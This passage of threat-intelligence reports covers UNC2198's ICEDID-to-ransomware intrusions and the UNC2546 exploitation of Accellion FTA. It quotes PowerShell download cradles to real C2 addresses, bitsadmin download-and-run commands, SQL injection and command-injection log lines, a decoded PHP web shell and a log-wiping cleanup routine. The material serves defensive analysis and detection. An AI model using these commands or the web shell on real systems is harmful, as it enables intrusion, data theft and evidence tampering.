2020, we noticed a shift in a subset of these groups that have started to deploy EGREGOR ransomware in favor of MAZE ransomware following access acquired from ICEDID infections. Since its discovery in 2017 as a banking trojan, ICEDID evolved into a pernicious point of entry for financially motivated actors to conduct intrusion operations. In earlier years, ICEDID was deployed to primarily target banking credentials. In 2020 we observed adversaries using ICEDID more explicitly as a tool to enable access to impacted networks, and in many cases this was leading to the use of common post-exploitation frameworks and ultimately the deployment of ransomware. This blog post shines a heat lamp on the latest tradecraft of UNC2198, who used ICEDID infections to deploy MAZE or EGREGOR ransomware. Building an Igloo: ICEDID Infections Separate phases of intrusions are attributed to different uncategorized (UNC) groups when discrete operations such as obtaining access are not part of a contiguous operation. Pure “access operations” establish remote access into a target environment for follow on operations actioned by a separate group. A backdoor deployed to establish an initial foothold for another group is an example of an access operation. Between July and December 2020, an ICEDID phishing infection chain consisted of a multi-stage process involving MOUSEISLAND and PHOTOLOADER (Figure 1). Figure 1: Example UNC2420 MOUSEISLAND to ICEDID Infection Chain MOUSEISLAND is a Microsoft Word macro downloader used as the first infection stage and is delivered inside a password-protected zip attached to a phishing email (Figure 2). Based on our intrusion data from responding to ICEDID related incidents, the secondary payload delivered by MOUSEISLAND has been PHOTOLOADER, which acts as an intermediary downloader to install ICEDID. Mandiant attributes the MOUSEISLAND distribution of PHOTOLOADER and other payloads to UNC2420, a distribution threat cluster created by Mandiant’s Threat Pursuit team. UNC2420 activity shares overlaps with the publicly reported nomenclature of “Shathak” or “TA551”. Figure 2: UNC2420 MOUSEISLAND Phishing Email Ice, Ice, BEACON…UNC2198 Although analysis is always ongoing, at the time of publishing this blog post, Mandiant tracks multiple distinct threat clusters (UNC groups) of various sizes that have used ICEDID as a foothold to enable intrusion operations. The most prominent of these threat clusters is UNC2198, a group that has targeted organizations in North America across a breadth of industries. In at least five cases, UNC2198 acquired initial access from UNC2420 MOUSEISLAND to conduct intrusion operations. In 2020, Mandiant attributed nine separate intrusions to UNC2198. UNC2198’s objective is to monetize their intrusions by compromising victim networks with ransomware. In July 2020, Mandiant observed UNC2198 leverage network access provided by an ICEDID infection to encrypt an environment with MAZE ransomware. As the year progressed into October and November, we observed UNC2198 shift from deploying MAZE to using EGREGOR ransomware during another Incident Response engagement. Like MAZE, EGREGOR is operated using an affiliate model, where affiliates who deploy EGREGOR are provided with proceeds following successful encryption and extortion for payment. The UNC2198 cluster expanded over the course of more than six months. Mandiant’s December 2020 blog post on UNCs described the analytical tradecraft we use to merge and graduate clusters of activity. Merging UNCs is a substantial analytical practice in which indicators and tradecraft attributed to one group are scrutinized against another. Two former UNCs that shared similar modus operandi were eventually merged into UNC2198. The Snowball Effect of Attribution AP created UNC2198 based on a single intrusion in June 2020 involving ICEDID, BEACON, SYSTEMBC and WINDARC. UNC2198 compromised 32 systems in 26 hours during this incident; however, ransomware was not deployed. Throughout July 2020 we attributed three intrusions to UNC2198 from Incident Response engagements, including one resulting in the deployment of MAZE ransomware. In October 2020, a slew of activity at both Incident Response engagements and Managed Defense clients resulted in the creation of two new UNC groups, and another incident attributed to UNC2198. One of the new UNC groups created in October 2020 was given the designation UNC2374. UNC2374 began as its own distinct cluster where BEACON, WINDARC, and SYSTEMBC were observed during an incident at a Managed Defense customer. Initial similarities in tooling did not constitute a strong enough link to merge UNC2374 with UNC2198 yet. Two and a half months following the creation of UNC2374, we amassed enough data points to merge UNC2374 into UNC2198. Some of the data points used in merging UNC2374 into UNC2198 include: UNC2198 and UNC2374 Cobalt Strike Team Servers used self-signed certificates with the following subject on TCP port 25055: C = US, ST = CA, L = California, O = Oracle Inc, OU = Virtual Services, CN = oracle.com UNC2198 and UNC2374 deployed WINDARC malware to identical file paths: %APPDATA%\teamviewers\msi.dll The same code signing certificate used to sign an UNC2198 BEACON loader was used to sign two UNC2374 SYSTEMBC tunneler payloads. UNC2374 and UNC2198 BEACON C2 servers were accessed by the same victim system within a 10-minute time window during intrusion operations. The other UNC group created in October 2020 was given the designation UNC2414. Three separate intrusions were attributed to UNC2414, and as the cluster grew, we surfaced similarities between UNC2414 and UNC2198. A subset of the data points used to merge UNC2414 into UNC2198 include: UNC2198 and UNC2414 BEACON servers used self-signed certificates using the following subject on TCP port 25055: C = US, ST = CA, L = California, O = Oracle Inc, OU = Virtual Services, CN = oracle.com UNC2198 and UNC2414 installed BEACON as C:\Windows\int32.dll UNC2198 and UNC2414 installed the RCLONE utility as C:\Perflogs\rclone.exe UNC2198 and UNC2414 were proven to be financially motivated actors that had leveraged ICEDID as initial access:UNC2198 had deployed MAZE UNC2414 had deployed EGREGOR The merge between UNC2198 and UNC2414 was significant because it revealed UNC2198 has access to EGREGOR ransomware. The timing of the EGREGOR usage is also consistent with MAZE ransomware shutting down as reported by Mandiant Intelligence. Figure 3 depicts the timeline of related intrusions and merges into UNC2198. Figure 3: UNC2198 timeline UNC2198 Intrusion Flow: After Initial Access Expanding the UNC2198 cluster through multiple intrusions and merges with other UNC groups highlights the range of TTPs employed. We have pulled out some key data from all our UNC2198 intrusions to illustrate an amalgamation of capabilities used by the threat actor. Establish Foothold After obtaining access, UNC2198 has deployed additional malware using various techniques. For instance, UNC2198 used InnoSetup droppers to install a WINDARC backdoor on the target host. UNC2198 also used BITS Jobs and remote PowerShell downloads to download additional tools like SYSTEMBC for proxy and tunneler capabilities. Example commands for download and execution are: %COMSPEC% /C echo bitsadmin /transfer 257e http://<REDACTED>/<REDACTED>.exe %APPDATA%<REDACTED>.exe & %APPDATA%<REDACTED>.exe & del %APPDATA% <REDACTED>.exe ^> %SYSTEMDRIVE%\WINDOWS\Temp\FmpaXUHFennWxPIM.txt > \WINDOWS\Temp\MwUgqKjEDjCMDGmC.bat & %COMSPEC% /C start %COMSPEC% /C \WINDOWS\Temp\MwUgqKjEDjCMDGmC.bat %COMSPEC% /C echo powershell.exe -nop -w hidden -c (new-object System.Net.WebClient).Downloadfile(http://<REDACTED>/<REDACTED>.exe, <REDACTED>.exe) ^> %SYSTEMDRIVE%\WINDOWS\Temp\AVaNbBXzKyxktAZI.txt > \WINDOWS\Temp\yoKjaqTIzJhdDLjD.bat & %COMSPEC% /C start %COMSPEC% /C \WINDOWS\Temp\yoKjaqTIzJhdDLjD.bat UNC2198 has used Cobalt Strike BEACON, Metasploit METERPRETER, KOADIC, and PowerShell EMPIRE offensive security tools during this phase as well. Offensive Security Tooling UNC2198 has used offensive security tools similarly seen across many threat actors. UNC2198 has used BEACON in roughly 90% of their intrusions. UNC2198 installs and executes Cobalt Strike BEACON in a variety of ways, including shellcode loaders using PowerShell scripts, service executables, and DLLs. While the ways and means of using BEACON are not inherently unique, there are still aspects to extrapolate that shed light on UNC2198 TTPs. Focusing in on specific BEACON executables tells a different story beyond the use of the tool itself. Aside from junk code and API calls, UNC2198 BEACON and METERPRETER executables often exhibit unique characteristics of malware packaging, including odd command-line arguments visible within strings and upon execution via child processes: cmd.exe /c echo TjsfoRdwOe=9931 & reg add HKCU\SOFTWARE\WIlumYjNSyHob /v xFCbJrNfgBNqRy /t REG_DWORD /d 3045 & exit cmd.exe /c echo ucQhymDRSRvq=1236 & reg add HKCU\\SOFTWARE\\YkUJvbgwtylk /v KYIaIoYxqwO /t REG_DWORD /d 9633 & exit cmd.exe /c set XlOLqhCejHbSNW=8300 & reg add HKCU\SOFTWARE\WaMgGneKhtgTTy /v LbmWADsevLywrkP /t REG_DWORD /d 3809 & exit These example commands are non-functional, as they do not modify or alter payload execution. Another technique involves installing BEACON using a file path containing mixed Unicode-escaped and ASCII characters to evade detection: Unicode Escaped C:\ProgramData\S\u0443sH\u0435\u0430ls\T\u0430s\u0441host.exe Unicode Unescaped C:\ProgramData\SуsHеаls\Tаsсhost.exe The executable was then executed by using a Scheduled Task named shadowdev: cmd.exe /c schtasks /create /sc minute /mo 1 /tn shadowdev /tr C:\\ProgramData\\S\u0443sH\u0435\u0430ls\\T\u0430s\u0441host.exe While the previous examples are related to compiled executables, UNC2198 has also used simple PowerShell download cradles to execute Base64-encoded and compressed BEACON stagers in memory: powershell -nop -w hidden -c IEX ((new-object net.webclient).downloadstring(‘hxxp://5.149.253[.]199:80/auth’)) powershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring(“hxxp://185.106.122[.]167:80/a”)) powershell.exe -nop -w hidden -c “IEX ((new-object net.webclient).downloadstring(‘hxxp://195.123.233[.]157:80/casino’))” Discovery and Reconnaissance UNC2198 has exhibited common TTPs seen across many threat groups during discovery and reconnaissance activities. UNC2198 has used the BloodHound active directory mapping utility during intrusions from within the “C:\ProgramData” and “C:\Temp” directories. The following are collective examples of various commands executed by UNC2198 over time to enumerate a compromised environment: arp -a whoami /groups whoami.exe /groups /fo csv whoami /all net user <Redacted> net groups “Domain Admins” /domain net group “Enterprise admins” /domain net group “local admins” /domain net localgroup “administrators” /domain nltest /domain_trusts nltest /dclist:<Redacted> Lateral Movement and Privilege Escalation UNC2198 has used Windows Remote Management and RDP to move laterally between systems. UNC2198 has also performed remote execution of BEACON service binaries on targeted systems to move laterally. UNC2198 launches SMB BEACON using PowerShell, executing command lines such as the following: C:\WINDOWS\system32\cmd.exe /b /c start /b /min powershell -nop -w hidden -encodedcommand JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALAB bAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIASAA0AH MASQBBAEEAQQBBAEEAQQBBAEEAQQBLADEAVwA3ADIALw…<Truncated> During one intrusion, UNC2198 used the SOURBITS privilege escalation utility to execute files on a target system. SOURBITS is a packaged exploit utility for CVE-2020-0787, which is a vulnerability that was disclosed in 2020 for Windows Background Intelligent Transfer Service (BITS). SOURBITS consists of code derived from a GitHub Repository that is implemented as a command-line utility, which can execute arbitrary files with elevated privileges. UNC2198 used SOURBITS with the following components: C:\Users\<User>\Downloads\runsysO.cr C:\Users\<User>\Downloads\starterO.exe The file runsysO.cr is an XOR-encoded PE executable that exploits CVE-2020-0787, and based on the target system’s bitness, it will drop one of two embedded SOURBITS payloads. Data Theft, Ransomware Deployment and #TTR Like other financially motivated threat actors, part of UNC2198’s modus operandi in latter stages of intrusions involves the exfiltration of hundreds of gigabytes of the victim organizations’ data before ransomware is installed. Specifically, UNC2198 has used RCLONE, a command line utility used to synchronize cloud storage, to aid in the exfiltration of sensitive data. In all observed cases of data theft, RCLONE was used by UNC2198 from the “C:\PerfLogs\rclone.exe” file path. “Time-to-Ransom” (TTR) is the delta between first-attributed access time and the time of ransomware deployment. TTR serves as a useful gauge of how quickly an organization needs to respond to stave off a threat actor’s successful deployment of ransomware. TTR is not a perfect quantification, as external factors such as an organization’s security posture can drastically affect the measurement. In this post, the TTR of UNC2198 is measured between ICEDID activity to the deployment of ransomware. In July 2020, UNC2198 deployed MAZE ransomware using PSEXEC, and the TTR was 5.5 days. In October 2020, UNC2198 deployed EGREGOR ransomware using forced GPO updates, and the TTR was 1.5 days. Looking Forward Threat actors leveraging access obtained through mass malware campaigns to deploy ransomware is a growing trend. The efficiency of ransomware groups places a significant burden on defenders to rapidly respond before ransomware deployment. As ransomware groups continue to gain operational expertise through successful compromises, they will continue to shorten their TTR while scaling their operations. Understanding the TTPs fundamental to a specific operation like UNC2198 provides an edge to defenders in their response efforts. Our unparalleled understanding of groups like UNC2198 is translated into Mandiant Advantage. Accessing our holdings in Mandiant Advantage aids defenders in recognizing TTPs used by threat actors, assessing organizational risk, and taking action. Initial investments made into rapidly assessing a group’s modus operandi pays dividends when they inevitably evolve and swap out components of their toolset. Whether it be MAZE or EGREGOR, something icy or hot, Advanced Practices will continue to pursue these unchill threat actors. Acknowledgements Thank you to Dan Perez, Andrew Thompson, Nick Richard, Cian Lynch and Jeremy Kennelly for technical review of this content. In addition, thank you to Mandiant frontline responders for harvesting the valuable intrusion data that enables our research. Appendix: Malware Families PHOTOLOADER is a downloader that has been observed to download ICEDID. It makes an HTTP request for a fake image file, which is RC4 decrypted to provide the final payload. Host information is sent to the command and control (C2) via HTTP cookies. Samples have been observed to contain an embedded C2 configuration that contain the real C2 with a number of non-malicious domains. The non-malicious domains are contacted in addition to the real C2. WINDARC is a backdoor that hijacks the execution of TeamViewer to perform C2 communication. It supports plugins and accepts several backdoor commands. The commands include interacting with the TeamViewer tool, starting a reverse shell, loading new plugins, downloading and executing files, and modifying configuration settings. SYSTEMBC is a proxy malware that beacons to its C2 and opens new proxy connections between the C2 and remote hosts as indicated by the C2. Proxied communications are encrypted with RC4. The malware receives commands via HTTP and creates new proxy connections as directed. Underground sales advertisements refer to the software as a “socks5 backconnect system”. The malware is typically used to hide the malicious traffic associated with other malware. Appendix: Detecting the Techniques FireEye security solutions detect these threats across email, endpoint, and network levels. The following is a snapshot of existing detections related to activity outlined in this blog post. Platform Detection Name FireEye Network Security Downloader.Macro.MOUSEISLAND Downloader.Win.PHOTOLOADER Trojan.PHOTOLOADER Downloader.IcedID Trojan.IcedID Malicious.SSL.IcedID Malicious.SSL.IcedIdCert Trojan.Malicious.Certificate Backdoor.BEACON Trojan.Generic Trojan.CobaltStrike FireEye Endpoint Security Real-Time (IOC) BLOODHOUND ATTACK PATH MAPPING (UTILITY) BLOODHOUND ATTACK PATH MAPPING A (UTILITY) COBALT STRIKE (BACKDOOR) COBALT STRIKE DEFAULT DLL EXPORT (BACKDOOR) COBALT STRIKE NAMED PIPE ECHO (BACKDOOR) EGREGOR RANSOMWARE (FAMILY) ICEDID (FAMILY) MAZE RANSOMWARE (FAMILY) MAZE RANSOMWARE A (FAMILY) METASPLOIT SERVICE ABUSE (UTILITY) MOUSEISLAND (DOWNLOADER) MOUSEISLAND A (DOWNLOADER) MOUSEISLAND B (DOWNLOADER) POWERSHELL DOWNLOADER (METHODOLOGY) POWERSHELL DOWNLOADER D (METHODOLOGY) SCHTASK CREATION FROM PROGRAMDATA (COLLECTION) SUSPICIOUS BITSADMIN USAGE A (METHODOLOGY) SUSPICIOUS POWERSHELL USAGE (METHODOLOGY) WMIC SHADOWCOPY DELETE (METHODOLOGY) Malware Protection (AV/MG) SYSTEMBC Trojan.EmotetU.Gen.* Trojan.Mint.Zamg.O Generic.mg.* ICEID Gen:Variant.Razy.* Generic.mg.* BEACON Gen:[email protected] Gen:Variant.Bulz.1217 Trojan.GenericKD.34797730 Generic.mg.* Appendix: Indicators 95b78f4d3602aeea4f7a33c9f1b49a97 SYSTEMBC 0378897e4ec1d1ee4637cff110635141 SYSTEMBC c803200ad4b9f91659e58f0617f0dafa SYSTEMBC ad4d445091a3b66af765a1d653fd1eb7 SYSTEMBC 9ecf25b1e9be0b20822fe25269fa5d02 SYSTEMBC e319f5a8fe496c0c8247e27c3469b20d SYSTEMBC a8a7059278d82ce55949168fcd1ddde4 SYSTEMBC aea530f8a0645419ce0abe1bf2dc1584 SYSTEMBC 3098fbc98e90d91805717d7a4f946c27 SYSTEMBC 45.141.84.212:4132 SYSTEMBC 45.141.84.223:4132 SYSTEMBC 79.141.166.158:4124 SYSTEMBC 149.28.201.253:4114 SYSTEMBC 193.34.167.34:80 BEACON 195.123.240.219:80 BEACON 23.227.193.167:80 BEACON 5.149.253.199:80 BEACON e124cd26fcce258addc85d7f010655ea BEACON 7ae990c12bf5228b6d1b90d40ad0a79f BEACON 3eb552ede658ee77ee4631d35eac6b43 BEACON c188c6145202b65a941c41e7ff2c9afd BEACON 2f43055df845742d137a18b347f335a5 BEACON 87dc37e0edb39c077c4d4d8f1451402c ICEDID 1efababd1d6bd869f005f92799113f42 ICEDID a64e7dd557e7eab3513c9a5f31003e68 ICEDID 9760913fb7948f2983831d71a533a650 ICEDID 14467102f8aa0a0d95d0f3c0ce5f0b59 ICEDID colombosuede.club ICEDID colosssueded.top ICEDID golddisco.top ICEDID june85.cyou ICEDID Appendix: Mandiant Security Validation Actions Organizations can validate their security controls against more than 60 actions with Mandiant Security Validation. VID Name A101-509 Phishing Email – Malicious Attachment, MOUSEISLAND, Macro Based Downloader A150-326 Malicious File Transfer – MOUSEISLAND, Download, Variant #1 A150-433 Malicious File Transfer – MOUSEISLAND, Download, Variant #2 A101-282 Malicious File Transfer – MOUSEISLAND Downloader, Download A104-632 Protected Theater – MOUSEISLAND Downloader, Execution A101-266 Command and Control – MOUSEISLAND, HTTP GET Request for PHOTOLOADER A101-280 Malicious File Transfer – PHOTOLOADER, Download A101-263 Command and Control – PHOTOLOADER, DNS Query #1 A101-281 Malicious File Transfer – ICEDID Stage 3, Download A101-279 Malicious File Transfer – ICEDID Final Payload, Download A101-265 Command and Control – ICEDID, DNS Query #1 A101-264 Command and Control – ICEDID, DNS Query #2 A101-037 Malicious File Transfer – MAZE, Download, Variant #1 A101-038 Malicious File Transfer – MAZE, Download, Variant #2 A101-039 Malicious File Transfer – MAZE, Download, Variant #3 A101-040 Malicious File Transfer – MAZE, Download, Variant #4 A101-041 Malicious File Transfer – MAZE, Download, Variant #5 A101-042 Malicious File Transfer – MAZE, Download, Variant #6 A101-043 Malicious File Transfer – MAZE, Download, Variant #7 A101-044 Malicious File Transfer – MAZE, Download, Variant #8 A101-045 Malicious File Transfer – MAZE, Download, Variant #9 A100-878 Command and Control – MAZE Ransomware, C2 Check-in A101-030 Command and Control – MAZE Ransomware, C2 Beacon, Variant #1 A101-031 Command and Control – MAZE Ransomware, C2 Beacon, Variant #2 A101-032 Command and Control – MAZE Ransomware, C2 Beacon, Variant #3 A104-734 Protected Theater – MAZE, PsExec Execution A104-487 Protected Theater – MAZE Ransomware, Encoded PowerShell Execution A104-485 Protected Theater – MAZE Ransomware Execution, Variant #1 A104-486 Protected Theater – MAZE Ransomware Execution, Variant #2 A104-491 Host CLI – MAZE, Create Target.lnk A104-494 Host CLI – MAZE, Dropping Ransomware Note Burn Directory A104-495 Host CLI – MAZE, Traversing Directories and Dropping Ransomware Note, DECRYPT-FILES.html Variant A104-496 Host CLI – MAZE, Traversing Directories and Dropping Ransomware Note, DECRYPT-FILES.txt Variant A104-498 Host CLI – MAZE, Desktop Wallpaper Ransomware Message A150-668 Malicious File Transfer – EGREGOR, Download A101-460 Command and Control – EGREGOR, GET DLL Payload A150-675 Protected Theater – EGREGOR, Execution, Variant #1 A101-271 Malicious File Transfer – BEACON, Download, Variant #1 A150-610 Malicious File Transfer – BEACON, Download A150-609 Command and Control – BEACON, Check-in A104-732 Protected Theater – BEACON, Mixed Unicode-Escaped and ASCII Characters Execution A101-514 Malicious File Transfer – WINDARC, Download, Variant #1 A100-072 Malicious File Transfer – SYSTEMBC Proxy, Download A100-886 Malicious File Transfer – Rclone.exe, Download A100-880 Malicious File Transfer – Bloodhound Ingestor C Sharp Executable Variant, Download A100-881 Malicious File Transfer – Bloodhound Ingestor C Sharp PowerShell Variant, Download A100-882 Malicious File Transfer – Bloodhound Ingestor PowerShell Variant, Download A100-877 Active Directory – BloodHound, CollectionMethod All A101-513 Malicious File Transfer – SOURBITS, Download, Variant #1 A104-733 Protected Theater – CVE-2020-0787, Arbitrary File Move A100-353 Command and Control – KOADIC Agent (mshta) A100-355 Command and Control – Multiband Communication using KOADIC A104-088 Host CLI – Timestomp W/ PowerShell A104-277 Host CLI – EICAR COM File Download via PowerShell A104-281 Host CLI – EICAR TXT File Download via PowerShell A104-664 Host CLI – EICAR, Download with PowerShell A150-054 Malicious File Transfer – EMPIRE, Download A100-327 Command and Control – PowerShell Empire Agent (http) A100-328 Lateral Movement, Execution – PsExec A100-498 Scanning Activity – TCP Port Scan for Open RDP A100-502 Scanning Activity – UDP Port Scan for Open RDP A100-316 Lateral Movement – PSSession and WinRM A104-081 Host CLI – Mshta Appendix: UNC2198 MITRE ATT&CK Mapping ATT&CK Tactic Category Techniques Resource Development Acquire Infrastructure (T1583) Virtual Private Server (T1583.003) Develop Capabilities (T1587) Digital Certificates (T1587.003) Obtain Capabilities (T1588) Code Signing Certificates (T1588.003) Digital Certificates (T1588.004) Initial Access Phishing (T1566) Spearphishing Attachment (T1566.001) External Remote Services (T1133) Valid Accounts (T1078) Execution Command and Scripting Interpreter (T1059) PowerShell (T1059.001) Visual Basic (T1059.005) Windows Command Shell (T1059.003) Scheduled Task/Job (T1053) Scheduled Task (T1053.005) System Services (T1569) Service Execution (T1569.002) User Execution (T1204) Malicious File (T1204.002) Windows Management Instrumentation (T1047) Persistence External Remote Services (T1133) Scheduled Task/Job (T1053) Scheduled Task (T1053.005) Valid Accounts (T1078) Privilege Escalation Process Injection (T1055) Scheduled Task/Job (T1053) Scheduled Task (T1053.005) Valid Accounts (T1078) Defense Evasion Impair Defenses (T1562) Disable or Modify System Firewall (T1562.004) Disable or Modify Tools (T1562.001) Indicator Removal on Host (T1070) Timestomp (T1070.006) Indirect Command Execution (T1202) Modify Registry (T1112) Obfuscated Files or Information (T1027) Steganography (T1027.003) Process Injection (T1055) Signed Binary Proxy Execution (T1218) Mshta (T1218.005) Subvert Trust Controls (T1553) Code Signing (T1553.002) Valid Accounts (T1078) Virtualization/Sandbox Evasion (T1497) Credential Access OS Credential Dumping (T1003) Discovery Account Discovery (T1087) Local Account (T1087.001) Domain Trust Discovery (T1482) File and Directory Discovery (T1083) Permission Groups Discovery (T1069) System Information Discovery (T1082) System Network Configuration Discovery (T1016) System Owner/User Discovery (T1033) Virtualization/Sandbox Evasion (T1497) Lateral Movement Remote Services (T1021) Remote Desktop Protocol (T1021.001) SMB/Windows Admin Shares (T1021.002) SSH (T1021.004) Collection Archive Collected Data (T1560) Archive via Utility (T1560.001) Command and Control Application Layer Protocol (T1071) Web Protocols (T1071.001) Encrypted Channel (T1573) Asymmetric Cryptography (T1573.002) Ingress Tool Transfer (T1105) Proxy (T1090) Multi-hop Proxy (T1090.003) • Cyber Criminals Exploit Accellion FTA for Data Theft and Extortion by Andrew Moore on February 22, 2021 at 2:00 pm Starting in mid-December 2020, malicious actors that Mandiant tracks as UNC2546 exploited multiple zero-day vulnerabilities in Accellion’s legacy File Transfer Appliance (FTA) to install a newly discovered web shell named DEWMODE. The motivation of UNC2546 was not immediately apparent, but starting in late January 2021, several organizations that had been impacted by UNC2546 in the prior month began receiving extortion emails from actors threatening to publish stolen data on the “CL0P^_- LEAKS” .onion website. Some of the published victim data appears to have been stolen using the DEWMODE web shell. Notably, the number of victims on the “CL0P^_- LEAKS” shaming website has increased in February 2021 with organizations in the United States, Singapore, Canada, and the Netherlands recently outed by these threat actors. Mandiant has previously reported that FIN11 has threatened to post stolen victim data on this same .onion site as an additional tactic to pressure victims into paying extortion demands following the deployment of CLOP ransomware. However, in recent CLOP extortion incidents, no ransomware was deployed nor were the other hallmarks of FIN11 present. We are currently tracking the exploitation of the zero-day Accellion FTA vulnerabilities and data theft from companies running the legacy FTA product as UNC2546, and the subsequent extortion activity as UNC2582. We have identified overlaps between UNC2582, UNC2546, and prior FIN11 operations, and we will continue to evaluate the relationships between these clusters of activity. For more information on our use of ‘UNC’ designations, see our blog post, “DebUNCing Attribution: How Mandiant Tracks Uncategorized Threat Actors.” Mandiant has been working closely with Accellion in response to these matters and will be producing a complete security assessment report in the coming weeks. At this time, Accellion has patched all FTA vulnerabilities known to be exploited by the threat actors and has added new monitoring and alerting capabilities to flag anomalies associated with these attack vectors. Mandiant has validated these patches. Mandiant is currently performing penetration testing and code review of the current version of the Accellion FTA product and has not found any other critical vulnerabilities in the FTA product based on our analysis to date. Accellion customers using the FTA legacy product were the targets of the attack. Accellion FTA is a 20-year-old product nearing end of life. Accellion strongly recommends that FTA customers migrate to kiteworks, Accellion’s enterprise content firewall platform. Per Accellion, Kiteworks is built on an entirely different code base. The following CVEs have since been reserved for tracking the recently patched Accellion FTA vulnerabilities: CVE-2021-27101 – SQL injection via a crafted Host header CVE-2021-27102 – OS command execution via a local web service call CVE-2021-27103 – SSRF via a crafted POST request CVE-2021-27104 – OS command execution via a crafted POST request UNC2546 and DEWMODE In mid-December 2020, Mandiant responded to multiple incidents in which a web shell we call DEWMODE was used to exfiltrate data from Accellion FTA devices. The Accellion FTA device is a purpose-built application designed to allow an enterprise to securely transfer large files. The exfiltration activity has affected entities in a wide range of sectors and countries. Across these incidents, Mandiant observed common infrastructure usage and TTPs, including exploitation of FTA devices to deploy the DEWMODE web shell. Mandiant determined that a common threat actor we now track as UNC2546 was responsible for this activity. While complete details of the vulnerabilities leveraged to install DEWMODE are still being analyzed, evidence from multiple client investigations has shown multiple commonalities in UNC2546’s activities. Evidence of Exploitation and DEWMODE Installation Mandiant has been able reconstruct many of the details about how Accellion FTAs have been compromised through examination of Apache and system logs from impacted devices—from initial compromise, to deployment of DEWMODE, and follow-on interaction. The earliest identification of activity associated with this campaign occurred in mid-December 2020. At this time, Mandiant identified UNC2546 leveraging an SQL injection vulnerability in the Accellion FTA. This SQL injection served as the primary intrusion vector. Mandiant observed evidence of SQL injection followed by subsequent requests to additional resources, as shown in Figure 1. [21/Dec/2020:18:14:32 +0000] [.’))union(select(c_value)from(t_global)where(t_global.c_param)=(‘w1’))#/sid#935ee00][rid#9700968/initial] (1) pass through /courier/document_root.html [21/Dec/2020:18:14:33 +0000] [‘))union(select(loc_id)from(net1.servers)where(proximity)=(0))#/sid#935ee00][rid#9706978/initial] (1) pass through /courier/document_root.html [21/Dec/2020:18:14:33 +0000] [.’))union(select(reverse(c_value))from(t_global)where(t_global.c_param)=(‘w1’))#/sid#935ee00][rid#971c098/initial] (1) pass through /courier/document_root.html [21/Dec/2020:18:14:34 +0000] [<redacted>/sid#935ee00][rid#971a090/initial] (1) pass through /courier/sftp_account_edit.php [21/Dec/2020:18:14:35 +0000] [<redacted>/sid#935ee00][rid#9706978/initial] (1) pass through /courier/oauth.api [21/Dec/2020:18:14:35 +0000] [<redacted>/sid#935ee00][rid#9708980/initial] (1) pass through /courier/oauth.api Figure 1: SQL injection log UNC2546 has leveraged this SQL injection vulnerability to retrieve a key which appears to be used in conjunction with a request to the file sftp_account_edit.php. Immediately after this request, the built-in Accellion utility admin.pl was executed, resulting in an eval web shell being written to oauth.api. PWD=/home/seos/courier ; USER=root ; COMMAND=/usr/local/bin/admin.pl –edit_user=F –mount_cifs=- V,DF,$(echo${IFS}PD9waHAKCmlmKGlzc2V0KCRfUkVRVUVTVFsndG9rZW4nXSkpCnsKICAgIGV2YWwoYm FzZTY0X2RlY29kZSgkX1JFUVVFU1RbJ3Rva2VuJ10pKTsKfQplbHNlIGlmKGlzc2V0KCRfUkVRVUVTVFsnd XNlcm5hbWUnXSkpCnsKICAgIHN5c3RlbSgkX1JFUVVFU1RbJ3VzZXJuYW1lJ10pOwp9CmVsc2UKewogICAgaG VhZGVyKCdMb2NhdGlvbjogLycpOwp9|base64${IFS}-d|tee${IFS}/home/seos/courier/oauth.api);FUK;”,PASSWORD # \” –passwd=pop Figure 2: Excerpt from log showing creation of eval web shell The decoded contents are shown in Figure 3. <?php if(isset($_REQUEST[‘token’])) {     eval(base64_decode($_REQUEST[‘token’])); } else if(isset($_REQUEST[‘username’])) {     system($_REQUEST[‘username’]); } else { header(‘Location: /’); } Figure 3: Decoded eval web shell Almost immediately following this sequence, the DEWMODE web shell is written to the system. The timing of these requests suggests that DEWMODE was delivered via the oauth.api web shell; however, the available evidence does not indicate the exact mechanism used to write DEWMODE to disk. Mandiant has identified the DEWMODE web shell in one of the following two locations: /home/seos/courier/about.html /home/httpd/html/about.html The DEWMODE web shell (Figure 4) extracts a list of available files from a MySQL database on the FTA and lists those files and corresponding metadata—file ID, path, filename, uploader, and recipient—on an HTML page. UNC2546 then uses the presented list to download files through the DEWMODE web shell. Download requests are captured in the FTA’s web logs, which will contain requests to the DEWMODE web shell with encrypted and encoded URL parameters, where dwn is the file path and fn is the requested file name (Figure 5). The encrypted file path and name values visible in web logs can be decrypted using key material obtained from the database used by the targeted FTA. Given the complex nature of this process, if your organization needs assistance reviewing relevant logs, please contact Mandiant or Accellion. Figure 4: DEWMODE web shell screenshot GET /courier/about.html?dwn=[REDACTED]&fn=[REDACTED] HTTP/1.1″ 200 1098240863 “-” “-” “-” TLSv1.2 ECDHE-RSA-AES128-SHA256 Figure 5: DEWMODE File Download URL parameters Following file downloads, UNC2546 initiates a cleanup routine by passing a specific query parameter named csrftoken with the value 11454bd782bb41db213d415e10a0fb3c to DEWMODE. The following actions are performed: A shell script is written to /tmp/.scr, which will:Remove all references to about.html from log files located in /var/opt/apache/ Write the modified log file to /tmp/x then replace the original log file at /var/opt/apache/ Delete the contents of the /home/seos/log/adminpl.log log file. Remove /home/seos/courier/about.html (DEWMODE) and /home/seos/courier/oauth.api (eval web shell), and redirect command output to the file /tmp/.out Change the permissions of the output file to be readable, writeable and executable by all users, and set the owner to “nobody” Delete the script file /tmp/.scr and other temporarily created files to assist in cleanup Display cleanup output to the requesting user An example of a cleanup request and subsequent execution of the cleanup script can be seen in Figure 6. GET /courier/about.html?csrftoken=11454bd782bb41db213d415e10a0fb3c HTTP/1.1″ 200 5 “-” “https://[REDACTED]//courier/about.html?aid=1000” “Mozilla/5.0 (X11; Linux x86_64; rv:82.0) Gecko/20100101 sft sudo: nobody : TTY=unknown ; PWD=/home/seos/courier ; USER=root ; COMMAND=/usr/local/bin/admin.pl –mount_cifs=AF,DF,’$(sh /tmp/.scr)’,PASSWORD Figure 6: DEWMODE cleanup request Mandiant also identified a variant of DEWMODE (bdfd11b1b092b7c61ce5f02ffc5ad55a) which contained minor changes to the cleanup operation, including wiping of /var/log/secure and removing about.html and oauth.api from the directories /home/httpd/html/ instead of /home/seos/courier/. In a subset of incidents, Mandiant observed UNC2546 requesting a file named cache.js.gz (Figure 7). Based on temporal file access to the mysqldump utility and mysql data directories, the archive likely contained a dump of the database. With the exception of cache.js.gz, Mandiant has not observed UNC2546 acquiring files from Accellion appliances through any method besides 